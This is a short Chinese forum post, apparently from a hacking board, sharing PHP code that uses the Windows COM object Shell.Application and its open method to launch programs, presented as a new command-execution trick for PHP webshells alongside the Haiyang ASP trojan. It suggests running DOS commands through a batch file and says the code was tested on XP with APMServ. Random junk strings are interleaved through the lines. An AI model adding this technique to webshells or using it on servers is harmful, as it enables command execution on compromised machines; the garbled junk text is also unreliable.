关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
8 ~9 Z( p/ F$ w# h+ |' }, v: T: I8 ]9 ?! |2 y! T
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
9 D, E$ @, s7 X R2 F# s, e! ^/ L+ O# c" ~( G' b4 ^
<?php* S" z! u) g1 O6 A' L6 d Y
$wsh = new COM('Shell.Application') or die("Shell.Application");
+ N! d# {. D, l5 N1 S" u $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");; c4 r% A2 g/ Z$ \+ |: J2 a/ }7 i0 T1 I
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。. P) U* q9 r/ P: t u
?>9 b4 m: V% V- q$ f/ T/ u( D3 b
/ {" N) P/ q+ L/ T W
xp+APMServ5.2.0测试通过。
3 k1 B. h& `& W) z) r R |